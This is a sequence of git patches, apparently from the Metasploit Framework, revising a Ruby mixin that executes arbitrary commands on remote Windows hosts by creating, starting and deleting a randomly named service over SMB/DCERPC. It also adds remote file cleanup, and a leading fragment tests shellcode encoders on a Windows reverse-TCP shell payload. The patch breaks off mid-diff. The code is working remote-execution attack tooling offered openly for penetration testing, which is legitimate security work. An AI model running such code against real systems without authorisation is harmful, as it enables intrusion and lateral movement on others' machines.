) + + table << [ encoder_name, success, fail ] + + end + + return table +end + +if( $0 == __FILE__ ) + + print_line( "[+] Starting.\n" ) + + encoders = [ + 'x86/bloxor', + 'x86/shikata_ga_nai', + 'x86/jmp_call_additive', + 'x86/fnstenv_mov', + 'x86/countdown', + 'x86/call4_dword_xor' + ] + + payload_name = 'windows/shell/reverse_tcp' + + verbose = false + + result_table = run( encoders, payload_name, verbose ) + + print_line( "\n\n#{result_table.to_s}\n\n" ) + + print_line( "[+] Finished.\n" ) +end + + + + \ No newline at end of file From af2b1ec25b72f8e6c28f213555d8c71d0c8b9f5f Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 15 Jan 2013 14:22:11 -0600 Subject: [PATCH 007/341] Clean up doc comments --- lib/msf/core/exploit/psexec.rb | 44 ++++++++++++++++++++-------------- 1 file changed, 26 insertions(+), 18 deletions(-) diff --git a/lib/msf/core/exploit/psexec.rb b/lib/msf/core/exploit/psexec.rb index 103241a30f..e31a6a68c1 100644 --- a/lib/msf/core/exploit/psexec.rb +++ b/lib/msf/core/exploit/psexec.rb @@ -13,12 +13,15 @@ module Exploit::Remote::Psexec include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB - # Retrives output from the executed command + # Retrieves output from the executed command + # + # @example + # get_output("C$", rhost, '\WINDOWS\Temp\outputfile.txt') + # # @param smbshare [String] The SMBshare to connect to. Usually C$ - # @param ip [IP Address] Remote Host to Connect To - # @param file [File name] Path to the output file relative to the smbshare - # Example: '\WINDOWS\Temp\outputfile.txt' - # @return output or nil if fails + # @param ip [String] Remote host to connect to + # @param file [String] Path to the output file relative to the +smbshare+ + # @return [String,nil] output or nil if retrieval fails def get_output(smbshare, ip, file) begin print_status("Getting the command output...") @@ -35,12 +38,14 @@ module Exploit::Remote::Psexec end - # This method executes a single windows command. If you want to - # retrieve the output of your command you'll have to echo it - # to a .txt file and then use the get_output method to retrieve it - # Make sure to use the cleanup_after method when you are done. + # Executes a single windows command. + # + # If you want to retrieve the output of your command you'll have to + # redirect its output to a file and then use {#get_output} to retrieve + # it. Make sure to use the {#cleanup_after} method when you are done. + # # @param command [String] Should be a valid windows command - # @return true if everything wen't well + # @return [Boolean] true if everything wen't well def psexec(command) simple.connect("IPC$") @@ -152,14 +157,17 @@ module Exploit::Remote::Psexec return true end - # This is the cleanup method, removes .txt and .bat file/s created during execution + # This is the cleanup method, removes .txt and .bat file/s created + # during execution + # + # @example + # cleanup_after("C$", rhost, '\WINDOWS\Temp\output.txt', 'C:\WINDOWS\Temp\batchfile.bat') + # # @param smbshare [String] The SMBshare to connect to. Usually C$ - # @param ip [IP Address] Remote Host to Connect To - # @param text [File Path] Path to the text file relative to the smbshare - # Example: '\WINDOWS\Temp\output.txt' - # @param bat [File Path] Full path to the batch file created - # Example: 'C:\WINDOWS\Temp\batchfile.bat' - # @return only in the event of an error + # @param ip [String] IP address of remote host to connect to + # @param text [String] Path to the text file relative to the smbshare + # @param bat [String] Full path to the batch file created + # @return [StandarError] only in the event of an error def cleanup_after(smbshare, ip, text, bat) begin # Try and do cleanup command/s @@ -183,7 +191,7 @@ module Exploit::Remote::Psexec def check_cleanup(smbshare, ip, text) simple.connect("\\\\#{ip}\\#{smbshare}") begin - if checktext = simple.open(text, 'ro') + if simple.open(text, 'ro') check = false else check = true From 6773a1063227173c3ce3f0a36ef42fa5aada7190 Mon Sep 17 00:00:00 2001 From: Royce Davis Date: Tue, 15 Jan 2013 16:24:16 -0600 Subject: [PATCH 008/341] Made changes to cleanup to use file_dropper instead --- lib/msf/core/exploit/psexec.rb | 45 ++++++++++++---------------------- 1 file changed, 16 insertions(+), 29 deletions(-) diff --git a/lib/msf/core/exploit/psexec.rb b/lib/msf/core/exploit/psexec.rb index e31a6a68c1..7e8b030564 100644 --- a/lib/msf/core/exploit/psexec.rb +++ b/lib/msf/core/exploit/psexec.rb @@ -12,6 +12,7 @@ module Exploit::Remote::Psexec include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB + include Msf::Exploit::FileDropper # Retrieves output from the executed command # @@ -47,7 +48,7 @@ module Exploit::Remote::Psexec # @param command [String] Should be a valid windows command # @return [Boolean] true if everything wen't well def psexec(command) - + print_status("#{peer} - Executing: #{command}") simple.connect("IPC$") handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) @@ -157,34 +158,20 @@ module Exploit::Remote::Psexec return true end - # This is the cleanup method, removes .txt and .bat file/s created - # during execution - # - # @example - # cleanup_after("C$", rhost, '\WINDOWS\Temp\output.txt', 'C:\WINDOWS\Temp\batchfile.bat') - # - # @param smbshare [String] The SMBshare to connect to. Usually C$ - # @param ip [String] IP address of remote host to connect to - # @param text [String] Path to the text file relative to the smbshare - # @param bat [String] Full path to the batch file created - # @return [StandarError] only in the event of an error - def cleanup_after(smbshare, ip, text, bat) - begin - # Try and do cleanup command/s - cleanup = "%COMSPEC% /C del %SYSTEMDRIVE%#{text} & del #{bat}" - print_status("#{peer} - Executing cleanup...") - psexec(cleanup) - if !check_cleanup(smbshare, ip, text) - print_error("#{peer} - Unable to cleanup. Make sure to manually remove files from the target.") - else - print_status("#{peer} - Cleanup was successful") - end - rescue StandardError => cleanuperror - print_error("#{peer} - Unable to processes cleanup commands. Error: #{cleanuperror}") - print_error("#{peer} - Make sure to manually remove files from the target") - return cleanuperror - end - end + # This method is called by file_dropper to remove files droped + # By your module + # + # @example + # file_rm('C:\WINDOWS\Temp\output.txt') + # + # @param file [String] Full path to a file on the remote host + # @return [StandardError] only in the event of an error + def file_rm(file) + delete = "%COMSPEC% /C del #{file}" + print_status("#{peer} - Deleting #{file}") + psexec(delete) + print_status("#{peer} - Command Ran") + end # Make sure the cleanup command worked # This method should only be called from within cleanup_after From f7571d89de913ccfb1fe0104d7f95d5ac6cb9f5b Mon Sep 17 00:00:00 2001 From: Royce Davis Date: Wed, 16 Jan 2013 09:56:27 -0600 Subject: [PATCH 009/341] Fixed cleanup_after funciton to mimic file_dropper but not use file_dropper --- lib/msf/core/exploit/psexec.rb | 307 +++++++++++++++++---------------- 1 file changed, 156 insertions(+), 151 deletions(-) diff --git a/lib/msf/core/exploit/psexec.rb b/lib/msf/core/exploit/psexec.rb index 7e8b030564..570dcd1634 100644 --- a/lib/msf/core/exploit/psexec.rb +++ b/lib/msf/core/exploit/psexec.rb @@ -10,153 +10,147 @@ module Msf module Exploit::Remote::Psexec - include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB - include Msf::Exploit::FileDropper + include Msf::Exploit::Remote::DCERPC + include Msf::Exploit::Remote::SMB - # Retrieves output from the executed command - # - # @example - # get_output("C$", rhost, '\WINDOWS\Temp\outputfile.txt') - # - # @param smbshare [String] The SMBshare to connect to. Usually C$ - # @param ip [String] Remote host to connect to - # @param file [String] Path to the output file relative to the +smbshare+ - # @return [String,nil] output or nil if retrieval fails - def get_output(smbshare, ip, file) - begin - print_status("Getting the command output...") - simple.connect("\\\\#{ip}\\#{smbshare}") - outfile = simple.open(file, 'ro') - output = outfile.read - outfile.close - simple.disconnect("\\\\#{ip}\\#{smbshare}") - return output - rescue StandardError => output_error - print_error("Error getting command output. #{output_error.class}. #{output_error}.") - return nil - end - end + # Retrives output from the executed command + # @param smbshare [String] The SMBshare to connect to. Usually C$ + # @param ip [IP Address] Remote Host to Connect To + # @param file [File name] Path to the output file relative to the smbshare + # Example: '\WINDOWS\Temp\outputfile.txt' + # @return output or nil if fails + def get_output(smbshare, ip, file) + begin + print_status("Getting the command output...") + simple.connect("\\\\#{ip}\\#{smbshare}") + outfile = simple.open(file, 'ro') + output = outfile.read + outfile.close + simple.disconnect("\\\\#{ip}\\#{smbshare}") + return output + rescue StandardError => output_error + print_error("Error getting command output. #{output_error.class}. #{output_error}.") + return nil + end + end - # Executes a single windows command. - # - # If you want to retrieve the output of your command you'll have to - # redirect its output to a file and then use {#get_output} to retrieve - # it. Make sure to use the {#cleanup_after} method when you are done. - # - # @param command [String] Should be a valid windows command - # @return [Boolean] true if everything wen't well - def psexec(command) - print_status("#{peer} - Executing: #{command}") - simple.connect("IPC$") + # This method executes a single windows command. If you want to + # retrieve the output of your command you'll have to echo it + # to a .txt file and then use the get_output method to retrieve it + # Make sure to use the cleanup_after method when you are done. + # @param command [String] Should be a valid windows command + # @return true if everything wen't well + def psexec(command) - handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) - vprint_status("#{peer} - Binding to #{handle} ...") - dcerpc_bind(handle) - vprint_status("#{peer} - Bound to #{handle} ...") + simple.connect("\\\\#{datastore['RHOST']}\\IPC$") - vprint_status("#{peer} - Obtaining a service manager handle...") - scm_handle = nil - stubdata = - NDR.uwstring("\\\\#{rhost}") + NDR.long(0) + NDR.long(0xF003F) - begin - response = dcerpc.call(0x0f, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - scm_handle = dcerpc.last_response.stub_data[0,20] - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end + handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) + vprint_status("#{peer} - Binding to #{handle} ...") + dcerpc_bind(handle) + vprint_status("#{peer} - Bound to #{handle} ...") - servicename = Rex::Text.rand_text_alpha(11) - displayname = Rex::Text.rand_text_alpha(16) - holdhandle = scm_handle - svc_handle = nil - svc_status = nil + vprint_status("#{peer} - Obtaining a service manager handle...") + scm_handle = nil + stubdata = + NDR.uwstring("\\\\#{rhost}") + NDR.long(0) + NDR.long(0xF003F) + begin + response = dcerpc.call(0x0f, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + scm_handle = dcerpc.last_response.stub_data[0,20] + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + return false + end - stubdata = - scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) + + servicename = Rex::Text.rand_text_alpha(11) + displayname = Rex::Text.rand_text_alpha(16) + holdhandle = scm_handle + svc_handle = nil + svc_status = nil - NDR.long(0x0F01FF) + # Access: MAX - NDR.long(0x00000110) + # Type: Interactive, Own process - NDR.long(0x00000003) + # Start: Demand - NDR.long(0x00000000) + # Errors: Ignore - NDR.wstring( command ) + - NDR.long(0) + # LoadOrderGroup - NDR.long(0) + # Dependencies - NDR.long(0) + # Service Start - NDR.long(0) + # Password - NDR.long(0) + # Password - NDR.long(0) + # Password - NDR.long(0) # Password - begin - vprint_status("#{peer} - Creating the service...") - response = dcerpc.call(0x0c, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - svc_handle = dcerpc.last_response.stub_data[0,20] - svc_status = dcerpc.last_response.stub_data[24,4] - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end + stubdata = + scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) + - vprint_status("#{peer} - Closing service handle...") - begin - response = dcerpc.call(0x0, svc_handle) - rescue ::Exception - end + NDR.long(0x0F01FF) + # Access: MAX + NDR.long(0x00000110) + # Type: Interactive, Own process + NDR.long(0x00000003) + # Start: Demand + NDR.long(0x00000000) + # Errors: Ignore + NDR.wstring( command ) + + NDR.long(0) + # LoadOrderGroup + NDR.long(0) + # Dependencies + NDR.long(0) + # Service Start + NDR.long(0) + # Password + NDR.long(0) + # Password + NDR.long(0) + # Password + NDR.long(0) # Password + begin + vprint_status("#{peer} - Creating the service...") + response = dcerpc.call(0x0c, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + svc_handle = dcerpc.last_response.stub_data[0,20] + svc_status = dcerpc.last_response.stub_data[24,4] + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + return false + end - vprint_status("#{peer} - Opening service...") - begin - stubdata = - scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF) + vprint_status("#{peer} - Closing service handle...") + begin + response = dcerpc.call(0x0, svc_handle) + rescue ::Exception + end - response = dcerpc.call(0x10, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - svc_handle = dcerpc.last_response.stub_data[0,20] - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end + vprint_status("#{peer} - Opening service...") + begin + stubdata = + scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF) - vprint_status("#{peer} - Starting the service...") - stubdata = - svc_handle + NDR.long(0) + NDR.long(0) - begin - response = dcerpc.call(0x13, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end + response = dcerpc.call(0x10, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + svc_handle = dcerpc.last_response.stub_data[0,20] + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + return false + end - vprint_status("#{peer} - Removing the service...") - stubdata = - svc_handle - begin - response = dcerpc.call(0x02, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - end + vprint_status("#{peer} - Starting the service...") + stubdata = + svc_handle + NDR.long(0) + NDR.long(0) + begin + response = dcerpc.call(0x13, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + return false + end - vprint_status("#{peer} - Closing service handle...") - begin - response = dcerpc.call(0x0, svc_handle) - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - end + vprint_status("#{peer} - Removing the service...") + stubdata = + svc_handle + begin + response = dcerpc.call(0x02, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + end - select(nil, nil, nil, 1.0) - simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$") - return true - end + vprint_status("#{peer} - Closing service handle...") + begin + response = dcerpc.call(0x0, svc_handle) + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + end + + select(nil, nil, nil, 1.0) + simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$") + return true + end # This method is called by file_dropper to remove files droped # By your module @@ -168,28 +162,39 @@ module Exploit::Remote::Psexec # @return [StandardError] only in the event of an error def file_rm(file) delete = "%COMSPEC% /C del #{file}" - print_status("#{peer} - Deleting #{file}") + vprint_status("#{peer} - Deleting #{file}") psexec(delete) - print_status("#{peer} - Command Ran") end - # Make sure the cleanup command worked - # This method should only be called from within cleanup_after - def check_cleanup(smbshare, ip, text) - simple.connect("\\\\#{ip}\\#{smbshare}") - begin - if simple.open(text, 'ro') - check = false - else - check = true - end - simple.disconnect("\\\\#{ip}\\#{smbshare}") - return check - rescue StandardError => check_error - simple.disconnect("\\\\#{ip}\\#{smbshare}") - return true - end - end + # This method stores files in an Instance array + # The files are then deleted from the remote host once + # the cleanup_after method is called + # + # @example + # register_file_for_cleanup("C:\\WINDOWS\\Temp\\output.txt") + # @param file [String] Full path to the file on the remote host + def register_file_for_cleanup(*file) + @dropped_files ||= [] + @dropped_files += file + end + + # This method removes any files that were dropped on the remote system + # and marked with the register_file_for_cleanup method + def cleanup_after + print_status("#{peer} - Removing files dropped by your module/exploit") + if !@dropped_files + return + end + @dropped_files.delete_if do |file| + begin + file_rm(file) + print_good("#{peer} - Deleted #{file}") + rescue StandardError => file_rm_error + print_error("#{peer} - Unable to delte #{file}. #{file_rm_error}") + return + end + end + end end From 00a9c7259599c92528b50e246ef83288c84f25c3 Mon Sep 17 00:00:00 2001 From: Royce Davis Date: Thu, 17 Jan 2013 19:02:13 -0600 Subject: [PATCH 010/341] Fixed exception handeling. No longer using rescure StandardError --- lib/msf/core/exploit/psexec.rb | 345 ++++++++++++++++----------------- 1 file changed, 172 insertions(+), 173 deletions(-) diff --git a/lib/msf/core/exploit/psexec.rb b/lib/msf/core/exploit/psexec.rb index 570dcd1634..9763b6d1f7 100644 --- a/lib/msf/core/exploit/psexec.rb +++ b/lib/msf/core/exploit/psexec.rb @@ -10,192 +10,191 @@ module Msf module Exploit::Remote::Psexec - include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::DCERPC + include Msf::Exploit::Remote::SMB - # Retrives output from the executed command - # @param smbshare [String] The SMBshare to connect to. Usually C$ - # @param ip [IP Address] Remote Host to Connect To - # @param file [File name] Path to the output file relative to the smbshare - # Example: '\WINDOWS\Temp\outputfile.txt' - # @return output or nil if fails - def get_output(smbshare, ip, file) - begin - print_status("Getting the command output...") - simple.connect("\\\\#{ip}\\#{smbshare}") - outfile = simple.open(file, 'ro') - output = outfile.read - outfile.close - simple.disconnect("\\\\#{ip}\\#{smbshare}") - return output - rescue StandardError => output_error - print_error("Error getting command output. #{output_error.class}. #{output_error}.") - return nil - end - end - - - # This method executes a single windows command. If you want to - # retrieve the output of your command you'll have to echo it - # to a .txt file and then use the get_output method to retrieve it - # Make sure to use the cleanup_after method when you are done. - # @param command [String] Should be a valid windows command - # @return true if everything wen't well - def psexec(command) - - simple.connect("\\\\#{datastore['RHOST']}\\IPC$") - - handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) - vprint_status("#{peer} - Binding to #{handle} ...") - dcerpc_bind(handle) - vprint_status("#{peer} - Bound to #{handle} ...") - - vprint_status("#{peer} - Obtaining a service manager handle...") - scm_handle = nil - stubdata = - NDR.uwstring("\\\\#{rhost}") + NDR.long(0) + NDR.long(0xF003F) - begin - response = dcerpc.call(0x0f, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - scm_handle = dcerpc.last_response.stub_data[0,20] - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false + # Retrives output from the executed command + # @param smbshare [String] The SMBshare to connect to. Usually C$ + # @param ip [IP Address] Remote Host to Connect To + # @param file [File name] Path to the output file relative to the smbshare + # Example: '\WINDOWS\Temp\outputfile.txt' + # @return output or nil if fails + def get_output(smbshare, ip, file) + begin + print_status("Getting the command output...") + simple.connect("\\\\#{ip}\\#{smbshare}") + outfile = simple.open(file, 'ro') + output = outfile.read + outfile.close + simple.disconnect("\\\\#{ip}\\#{smbshare}") + return output + rescue Rex::Proto::SMB::Exceptions::ErrorCode => output_error + print_error("#{peer} - The file #{file} doesn't exist. #{output_error}.") + return nil + end end - servicename = Rex::Text.rand_text_alpha(11) - displayname = Rex::Text.rand_text_alpha(16) - holdhandle = scm_handle - svc_handle = nil - svc_status = nil - stubdata = - scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) + + # This method executes a single windows command. If you want to + # retrieve the output of your command you'll have to echo it + # to a .txt file and then use the get_output method to retrieve it + # Make sure to use the cleanup_after method when you are done. + # @param command [String] Should be a valid windows command + # @return true if everything wen't well + def psexec(command) - NDR.long(0x0F01FF) + # Access: MAX - NDR.long(0x00000110) + # Type: Interactive, Own process - NDR.long(0x00000003) + # Start: Demand - NDR.long(0x00000000) + # Errors: Ignore - NDR.wstring( command ) + - NDR.long(0) + # LoadOrderGroup - NDR.long(0) + # Dependencies - NDR.long(0) + # Service Start - NDR.long(0) + # Password - NDR.long(0) + # Password - NDR.long(0) + # Password - NDR.long(0) # Password - begin - vprint_status("#{peer} - Creating the service...") - response = dcerpc.call(0x0c, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - svc_handle = dcerpc.last_response.stub_data[0,20] - svc_status = dcerpc.last_response.stub_data[24,4] - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false + simple.connect("\\\\#{datastore['RHOST']}\\IPC$") + + handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) + vprint_status("#{peer} - Binding to #{handle} ...") + dcerpc_bind(handle) + vprint_status("#{peer} - Bound to #{handle} ...") + + vprint_status("#{peer} - Obtaining a service manager handle...") + scm_handle = nil + stubdata = + NDR.uwstring("\\\\#{rhost}") + NDR.long(0) + NDR.long(0xF003F) + begin + response = dcerpc.call(0x0f, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + scm_handle = dcerpc.last_response.stub_data[0,20] + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + return false + end + + servicename = Rex::Text.rand_text_alpha(11) + displayname = Rex::Text.rand_text_alpha(16) + holdhandle = scm_handle + svc_handle = nil + svc_status = nil + + stubdata = + scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) + + + NDR.long(0x0F01FF) + # Access: MAX + NDR.long(0x00000110) + # Type: Interactive, Own process + NDR.long(0x00000003) + # Start: Demand + NDR.long(0x00000000) + # Errors: Ignore + NDR.wstring( command ) + + NDR.long(0) + # LoadOrderGroup + NDR.long(0) + # Dependencies + NDR.long(0) + # Service Start + NDR.long(0) + # Password + NDR.long(0) + # Password + NDR.long(0) + # Password + NDR.long(0) # Password + begin + vprint_status("#{peer} - Creating the service...") + response = dcerpc.call(0x0c, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + svc_handle = dcerpc.last_response.stub_data[0,20] + svc_status = dcerpc.last_response.stub_data[24,4] + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + return false + end + + vprint_status("#{peer} - Closing service handle...") + begin + response = dcerpc.call(0x0, svc_handle) + rescue ::Exception + end + + vprint_status("#{peer} - Opening service...") + begin + stubdata = + scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF) + + response = dcerpc.call(0x10, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + svc_handle = dcerpc.last_response.stub_data[0,20] + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + return false + end + + vprint_status("#{peer} - Starting the service...") + stubdata = + svc_handle + NDR.long(0) + NDR.long(0) + begin + response = dcerpc.call(0x13, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + return false + end + + vprint_status("#{peer} - Removing the service...") + stubdata = + svc_handle + begin + response = dcerpc.call(0x02, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + end + + vprint_status("#{peer} - Closing service handle...") + begin + response = dcerpc.call(0x0, svc_handle) + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + end + + select(nil, nil, nil, 1.0) + simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$") + return true end - vprint_status("#{peer} - Closing service handle...") - begin - response = dcerpc.call(0x0, svc_handle) - rescue ::Exception + # This method is called by file_dropper to remove files droped + # By your module + # + # @example + # file_rm('C:\WINDOWS\Temp\output.txt') + # + # @param file [String] Full path to a file on the remote host + # @return [StandardError] only in the event of an error + def file_rm(file) + delete = "%COMSPEC% /C del #{file}" + vprint_status("#{peer} - Deleting #{file}") + psexec(delete) end - vprint_status("#{peer} - Opening service...") - begin - stubdata = - scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF) - - response = dcerpc.call(0x10, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - svc_handle = dcerpc.last_response.stub_data[0,20] - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false + # This method stores files in an Instance array + # The files are then deleted from the remote host once + # the cleanup_after method is called + # + # @example + # register_file_for_cleanup("C:\\WINDOWS\\Temp\\output.txt") + # @param file [String] Full path to the file on the remote host + def register_file_for_cleanup(*file) + @dropped_files ||= [] + @dropped_files += file end - vprint_status("#{peer} - Starting the service...") - stubdata = - svc_handle + NDR.long(0) + NDR.long(0) - begin - response = dcerpc.call(0x13, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false + # This method removes any files that were dropped on the remote system + # and marked with the register_file_for_cleanup method + def cleanup_after + print_status("#{peer} - Removing files dropped by your module/exploit") + if !@dropped_files + return + end + begin + @dropped_files.delete_if do |file| + file_rm(file) + print_good("#{peer} - Deleted #{file}") + end + rescue ::Exception => cleanup_error + print_error("#{peer} - Unable to delte #{file}. #{cleanup_error}") + end end - vprint_status("#{peer} - Removing the service...") - stubdata = - svc_handle - begin - response = dcerpc.call(0x02, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - end - - vprint_status("#{peer} - Closing service handle...") - begin - response = dcerpc.call(0x0, svc_handle) - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - end - - select(nil, nil, nil, 1.0) - simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$") - return true - end - - # This method is called by file_dropper to remove files droped - # By your module - # - # @example - # file_rm('C:\WINDOWS\Temp\output.txt') - # - # @param file [String] Full path to a file on the remote host - # @return [StandardError] only in the event of an error - def file_rm(file) - delete = "%COMSPEC% /C del #{file}" - vprint_status("#{peer} - Deleting #{file}") - psexec(delete) - end - - # This method stores files in an Instance array - # The files are then deleted from the remote host once - # the cleanup_after method is called - # - # @example - # register_file_for_cleanup("C:\\WINDOWS\\Temp\\output.txt") - # @param file [String] Full path to the file on the remote host - def register_file_for_cleanup(*file) - @dropped_files ||= [] - @dropped_files += file - end - - # This method removes any files that were dropped on the remote system - # and marked with the register_file_for_cleanup method - def cleanup_after - print_status("#{peer} - Removing files dropped by your module/exploit") - if !@dropped_files - return - end - @dropped_files.delete_if do |file| - begin - file_rm(file) - print_good("#{peer} - Deleted #{file}") - rescue StandardError => file_rm_error - print_error("#{peer} - Unable to delte #{file}. #{file_rm_error}") - return - end - end - end - end end From a2f66a8fef6dc2620e0a54d4b53a32bd36a85d7c Mon Sep 17 00:00:00 2001 From: Royce Davis Date: Fri, 18 Jan 2013 09:33:44 -0600 Subject: [PATCH 011/341] Fixed msftidy complaints --- lib/msf/core/exploit/psexec.rb | 330 ++++++++++++++++----------------- 1 file changed, 165 insertions(+), 165 deletions(-) diff --git a/lib/msf/core/exploit/psexec.rb b/lib/msf/core/exploit/psexec.rb index 9763b6d1f7..b10e1453f3 100644 --- a/lib/msf/core/exploit/psexec.rb +++ b/lib/msf/core/exploit/psexec.rb @@ -10,190 +10,190 @@ module Msf module Exploit::Remote::Psexec - include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::DCERPC + include Msf::Exploit::Remote::SMB - # Retrives output from the executed command - # @param smbshare [String] The SMBshare to connect to. Usually C$ - # @param ip [IP Address] Remote Host to Connect To - # @param file [File name] Path to the output file relative to the smbshare - # Example: '\WINDOWS\Temp\outputfile.txt' - # @return output or nil if fails - def get_output(smbshare, ip, file) - begin - print_status("Getting the command output...") - simple.connect("\\\\#{ip}\\#{smbshare}") - outfile = simple.open(file, 'ro') - output = outfile.read - outfile.close - simple.disconnect("\\\\#{ip}\\#{smbshare}") - return output - rescue Rex::Proto::SMB::Exceptions::ErrorCode => output_error - print_error("#{peer} - The file #{file} doesn't exist. #{output_error}.") - return nil - end - end + # Retrives output from the executed command + # @param smbshare [String] The SMBshare to connect to. Usually C$ + # @param ip [IP Address] Remote Host to Connect To + # @param file [File name] Path to the output file relative to the smbshare + # Example: '\WINDOWS\Temp\outputfile.txt' + # @return output or nil if fails + def get_output(smbshare, ip, file) + begin + print_status("Getting the command output...") + simple.connect("\\\\#{ip}\\#{smbshare}") + outfile = simple.open(file, 'ro') + output = outfile.read + outfile.close + simple.disconnect("\\\\#{ip}\\#{smbshare}") + return output + rescue Rex::Proto::SMB::Exceptions::ErrorCode => output_error + print_error("#{peer} - The file #{file} doesn't exist. #{output_error}.") + return nil + end + end - # This method executes a single windows command. If you want to - # retrieve the output of your command you'll have to echo it - # to a .txt file and then use the get_output method to retrieve it - # Make sure to use the cleanup_after method when you are done. - # @param command [String] Should be a valid windows command - # @return true if everything wen't well - def psexec(command) + # This method executes a single windows command. If you want to + # retrieve the output of your command you'll have to echo it + # to a .txt file and then use the get_output method to retrieve it + # Make sure to use the cleanup_after method when you are done. + # @param command [String] Should be a valid windows command + # @return true if everything wen't well + def psexec(command) - simple.connect("\\\\#{datastore['RHOST']}\\IPC$") + simple.connect("\\\\#{datastore['RHOST']}\\IPC$") - handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) - vprint_status("#{peer} - Binding to #{handle} ...") - dcerpc_bind(handle) - vprint_status("#{peer} - Bound to #{handle} ...") + handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) + vprint_status("#{peer} - Binding to #{handle} ...") + dcerpc_bind(handle) + vprint_status("#{peer} - Bound to #{handle} ...") - vprint_status("#{peer} - Obtaining a service manager handle...") - scm_handle = nil - stubdata = - NDR.uwstring("\\\\#{rhost}") + NDR.long(0) + NDR.long(0xF003F) - begin - response = dcerpc.call(0x0f, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - scm_handle = dcerpc.last_response.stub_data[0,20] - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end + vprint_status("#{peer} - Obtaining a service manager handle...") + scm_handle = nil + stubdata = + NDR.uwstring("\\\\#{rhost}") + NDR.long(0) + NDR.long(0xF003F) + begin + response = dcerpc.call(0x0f, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + scm_handle = dcerpc.last_response.stub_data[0,20] + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + return false + end - servicename = Rex::Text.rand_text_alpha(11) - displayname = Rex::Text.rand_text_alpha(16) - holdhandle = scm_handle - svc_handle = nil - svc_status = nil + servicename = 